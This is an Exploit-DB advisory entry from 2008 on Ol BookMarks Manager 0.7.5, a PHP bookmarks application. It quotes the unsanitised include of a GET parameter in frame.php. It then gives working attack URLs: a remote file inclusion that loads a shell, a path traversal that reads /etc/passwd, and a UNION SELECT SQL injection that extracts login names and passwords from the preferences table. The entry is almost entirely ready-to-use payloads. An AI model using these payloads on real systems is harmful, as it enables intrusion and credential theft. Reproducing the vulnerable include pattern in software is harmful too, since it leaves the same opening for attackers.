Ol BookMarks Manager 0.7.5 - Local File Inclusion / Remote File Inclusion / SQL Injection

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2008-09-23 
date_updated:  
verified: 1 
codes: OSVDB-52397;CVE-2008-6409;OSVDB-52396;CVE-2008-6408;OSVDB-52395;CVE-2008-6407;OSVDB-48504;OSVDB-48503 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comolbookmarks-0.7.4.tar.gz

#########################################
Ol Bookmarks Manager 0.7.5 RFI / LFI / SQL Injection Vulnerabilities
#########################################
POC & Vulns
RFI In (frame.php) In Line 46
	include "$_GET[framefile]";
#########################################
Ex : /frame.php?framefile=[Shell]
#########################################
LFI In (/read/frame.php) In Line 46
	include "../$_GET[framefile]";
#########################################
Ex : /frame.php?framefile=../../../../../../etc/passwd
#########################################
SQL Injection In /read/index.php?name=brian&id=
Ex : /read/index.php?name=brian&id=-0000008+union+select+1,2,3,4,password,login,7,8,9,10,12,11,13+from+preferences--
#########################################
Thanx To .. Tryag.cc/cc ..And.. All Members In TryaG

# milw0rm.com [2008-09-24]